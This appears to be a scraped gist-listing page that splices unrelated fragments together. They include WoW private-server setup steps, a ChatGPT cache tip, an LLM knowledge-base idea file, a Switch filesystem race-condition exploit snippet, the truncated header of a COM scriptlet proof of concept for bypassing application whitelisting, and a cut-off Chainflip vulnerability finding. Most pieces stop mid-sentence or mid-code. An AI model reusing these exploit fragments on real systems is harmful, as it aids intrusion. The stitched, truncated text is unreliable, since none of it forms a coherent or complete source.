To be able to unpack the contents of the files,
you need to download all the repositories and copy all the files that
are packed into one folder from all the repositories.
Then unpack the entire contents of these files. Once you have done that,
you start the game using Wow.exe which is verified by Blizzard Entertainment,
we are sure that the client is verified by this company, i.e. the client is clean.
Of course, we change realmlist.wtf to the given server.Discover gists
It seems to help to completely clear your "Application Cache" (Cookies, Storage, etc) for https://chat.openai.com.
You can do this from the browser Developer Tools console in the "Applications" tab.
A pattern for building personal knowledge bases using LLMs.
This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.
Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.
| // thread 0: | |
| nn::os::WaitLightEvent(master); | |
| sleep(0); | |
| // Clone of the IFileSystem handle for the "save" mount. | |
| sendSyncRequest(b + 0x10000, 0x1000, clone(saved)); | |
| memset(completedFlag, 1, 1); | |
| // thread 1: | |
| nn::os::WaitLightEvent(master); | |
| sleep(300000); | |
| // Clone of the IStorage for RomFS. |
| <?XML version="1.0"?> | |
| <scriptlet> | |
| <registration | |
| progid="PoC" | |
| classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
| <!-- Proof Of Concept - Casey Smith @subTee --> | |
| <!-- License: BSD3-Clause --> | |
| <script language="JScript"> | |
| <![CDATA[ | |
F1: A payment to the previous-epoch Bitcoin vault address is recorded as a current-key change UTXO, so the next egress batch commits to the wrong scriptPubKey and is signed with the wrong key: it can never be mined, the real vault UTXOs bundled into it are consumed with no restore path, and every BTC withdrawal, swap output and refund halts network-wide
Finding ID: F1 (BTC change-UTXO poison): extends F1-BTC-change-utxo-poison-FULL.md with a live-state, no-mock PoC covering every harm claim.
Severity: High: protocol-fund availability failure, network-wide BTC egress halt, permissionless trigger. Critical escalation if unrepaired past the ~2-epoch (6-day) key window.
Target: chainflip-io/chainflip-backend @ e3a6838 (tag 2.2.13; every cited file byte-identical in 2.2.14).
Status: Live-state PoC executed and passing inside state-chain-runtime: the real BroadcastReadyProvider::on_broadcast_ready hook, the real EgressApi::schedule_egress, the real Environment selection and th